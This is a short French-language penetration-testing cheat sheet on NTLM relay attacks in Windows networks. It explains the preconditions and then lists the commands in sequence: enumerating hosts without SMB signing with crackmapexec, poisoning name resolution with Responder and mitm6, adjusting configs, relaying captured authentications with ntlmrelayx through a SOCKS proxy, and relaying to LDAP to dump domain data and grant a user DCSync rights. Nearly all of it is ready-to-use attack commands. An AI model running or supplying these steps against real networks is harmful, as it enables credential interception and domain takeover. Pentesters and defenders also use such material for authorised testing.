Relais NTLM

Les attaques par relais NTLM s’appuient sur deux vulnérabilités :

  • La présence de protocoles multidiffusion tels que LLMNR, NBT-NS ou MDNS
  • L’absence de signature des échanges SMB

Énumération

Dresser une liste des cibles vulnérables (celles qui n’ont pas activé la signature SMB) :

crackmapexec smb $RANGE_IP --gen-relay-list $OUTPUT_FILE

Positionnement MITM

Ensuite, se mettre en position de Man-in-the-Middle en répondant aux requêtes de résolution de nom :

sudo responder -I eth0 -wdv # En IPv4
sudo mitm6 -d $DOMAIN -i eth0 # En IPv6

Pour utiliser Responder avec ntlmrelayx, il faut désactiver certains serveurs dans le fichier Responder.conf

sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf

Il faut également modifier son fichier local proxychain.conf

socks4 $IP_IFACE 1080

Interception d’authentifications & relais

Intercepter les authentifications SMB avec l’outil ntlmrelayx et les relayer avec un proxy SOCKS :

ntlmrelayx.py -tf $TARGETS_FILE -socks -smb2support -of $OUTPUT_FILE # En Ipv4
ntlmrelayx.py -tf $TARGETS_FILE -6 -socks -smb2support -of $OUTPUT_FILE # En IPv6

Il est également possible d’utiliser le protocole LDAP pour le relais

# Dump les infos du domaine
ntlmrelayx.py -t ldap://$DC_IP -l /$OUTPUT_DIR/ 
# Donne les droits DCSync à un utilisateur
ntlmrelayx.py -t ldap://$DC_IP --escalate-user $USER